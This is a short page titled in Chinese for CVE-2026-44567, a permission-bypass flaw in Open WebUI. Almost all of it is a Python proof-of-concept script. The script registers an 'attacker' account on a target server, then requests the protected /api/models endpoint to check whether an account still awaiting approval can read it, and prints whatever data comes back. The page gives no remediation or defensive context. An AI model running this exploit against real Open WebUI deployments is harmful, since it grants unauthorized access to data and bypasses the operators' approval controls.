CVE-2026-44567 Open WebUI权限绕过漏洞

import requests # Target URL target_url = "http://localhost:3000" # Step 1: Register a new user (Default role is pending) register_data = { "username": "attacker", "password": "password123", "email": "[email protected]" } session = requests.Session() response = session.post(f"{target_url}/api/auth/register", json=register_data) if response.status_code == 200: print("[+] Registration successful. User in 'pending' state.") # Step 2: Attempt to access a protected API endpoint without admin approval # In a vulnerable version, this bypasses the role check api_response = session.get(f"{target_url}/api/models") if api_response.status_code == 200: print("[+] Vulnerability exploited! Access granted to 'pending' user.") print(f"[+] Data: {api_response.text}") else: print("[-] Access denied.") else: print("[-] Registration failed.")